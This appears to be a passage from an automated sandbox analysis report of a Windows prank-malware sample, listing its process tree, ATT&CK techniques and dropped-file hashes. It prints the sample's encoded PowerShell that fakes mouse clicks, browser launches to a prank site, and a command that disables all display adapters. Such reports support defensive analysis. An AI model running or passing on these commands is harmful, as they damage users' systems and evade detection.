      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7268
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:8096
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0xf0,0x138,0x7ff8c3cdc728,0x7ff8c3cdc734,0x7ff8c3cdc740
        5⤵
        
        PID:5448
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7436
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:8032
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6656
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7280
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        
        PID:6904
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7224
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Get-PnpDevice -Class 'Display' | Where-Object {$_.Status -eq 'OK'} | Disable-PnpDevice -Confirm:$false"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:7936
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"cd "C:\Users\Admin\Downloads\ExtractedFiles"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:8920

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2264

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4316

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:7220

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004C0 0x0000000000000498
1⤵
PID:8636

C:\Windows\system32\WerFault.exe
"C:\Windows\system32\WerFault.exe" -k -l WATCHDOG WATCHDOG-20260818-1722.dmp
1⤵
PID:8844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2520

C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /R /T
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:8536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:8196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2880

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
1⤵
PID:6888

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 a46870a4f28554c5509a47642c26ea22c1a78e05fb0f2dc74fed97e95994a6d9
MD5 506af1388af22dbe29616f39ea82bc4f
SHA1 9cff40cb637867de4dc78249328adafda4abf41e
SHA512 866f5b5c612958f2c3ed7dad6f23775e511c08b2d1dea6ee850f4c0aabca1ff7f59dfdc560fb41ed601c52c6436ffef557f055f81a1bd5cd77066bfe003fe327
MD5 SHA1 SHA512

Submit Download

0d917304-43c6-4355-bedf-3afb7a2443f5.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\0d917304-43c6-4355-bedf-3afb7a2443f5.tmp
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

f_000003

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000003
Size 62KB
SHA256 e96962c7df63a9fbe00dddda6e5360d639e7b25498fef7400fe0333fa5311294
MD5 5bbcb2d4f3b68ad1969574166cbf7210
SHA1 c1659c4e5b88de42858857ebffd3accaa360b02e
SHA512 71f65503cd3f12f908644cc2fecc7b5e833724c93107962935a74eef4d8eab2806200cf291d366c646f5d0f881e27f9252b7c1a39050eaf4388c7ec474ddca74
SSDEEP 768:GlmILj20bh/Jhu51KNCCcwgjjp1X3xRTFo8OmY1gqNjbBSxY45QY6FP5vv2Mvc/r:Gt7/ju35wgjjLrrqdb4xn5Vs57vcV+FY
TLSH
T1B553020A009EC47EE703DDA03087145E5FA508BAEFF5E3B9B012597B82667DAD75806E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 192B
SHA256 8bb631e0e11700131b7d06035f7a7f35a5b60a95410032a4d2776a2e4bcb109c
MD5 266801c94bb271b63ebfc6d3e1d98caa
SHA1 fefbb25ead42f73f20d97a42fc952c5e77553006
SHA512 3a225d977f141dcb89b101c9e58fa37e145a2d6cec74adaac4f52ac14c14c4711c2c6040be4f460ff44ea77a8f17f5a367d7c62cf1058b3c372b171357dfafe6
TLSH
T178C04C5F799205C5CBC1217195AE4D8962730925443257F3A691ADB488F32F1681D196
MD5 SHA1 SHA512 TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 40bff5f017805fff61ccfadefe02ff9139bac3356001f0ca0437a11627ba7eac
MD5 a52959940e02379461be5f81c8f3652f
SHA1 6b37074e03ac200babf3344db522b926fff6f374
SHA512 516446b6d51e87ee81790d2f176717e945272676ea73a0479a69919193889a3004046c42facd0e5995eedc7072ed7446ed07f216ecb29d186846508d2c5404db
TLSH
T1B1318EF7D3E4C67ECA1156F49A156E1FCE690A24072C3866CAE4AE1793E28B1D11074F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 f91f4714218b81b12e14d2ecd365d9af7026e6640b7a29a557cbf718d5a2c762
MD5 c8b2eb558b10b2d2c826eeac686f6727
SHA1 7022153d33f6e42245958799ce8a294c8963226e
SHA512 6d7b7dde01eb5beb62e352c9e5f759176d03cd0bdcb15eaec481f86837866cd0e6713ac8927d4251c600d97cdbff7c6e6fbe1b40eac8413dfa6257cfcbc51568
TLSH
T115418BF7C3E4867E891156F49A156E1BCE6A0A28032C3866C9D4AF1B93E28B1D11078F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 d2c321672c95dbe1fd015edd824c6ffb0a66a8691c94f7cb8a4d760e49ee4740
MD5 d130f7b7b947d23155092adef57efb92
SHA1 b077b5e0a8d304bbd8cbe226f354d8fe0350cdb5
SHA512 73b3a996ef8ef06df83b947235f331c469a99ef9648cf31e5efc1d9cc1ecb3f082805a09db8bb790d366d3d74a2ba1113ef619defb9b02e0b7581cb5dd38dd82
TLSH
T17C419DF783A4C67ECA1156F49B156E1FCE790628032C3866C9D4AE1793E28B1D11479F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 523B
SHA256 e4c2fe546c86dbe319c185b01993996bd1071d5574b61ca5f351455067298fa4
MD5 33416050825454f1a200acc65b5eec5d
SHA1 363deb8d8418cbb00b3226e7f0471a05f723a3a7
SHA512 3d334cdf79ff8901a50c7e98b38aef99370b50ec3fe5e1f15ed98d6ea8b57413bf6ff477f9e43d3471eca3a2c763af9404871e23d24dbc35b3125de407b89392
TLSH
T190F050A7A9AD7463507B466F8D057805ACB1F839055079F5CF6743ACD0824E71B024D3
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 fd3bfc7908ee9ff77d635722cb78bab88bd7e3d4018bf096e9d2770332620658
MD5 ae618dc97bc0c3f23afdf8ec5bf3ac69
SHA1 4d3f500ab5afa9037a9a1489435032520e0ce800
SHA512 c51936247b2d14b6ca7359fe82db54a96c3d30a73606681fe61a12f20421a27abcac52b23a3e0e2d1e62a464871f59efbdf331faca9665393bfc9dcdff14b990
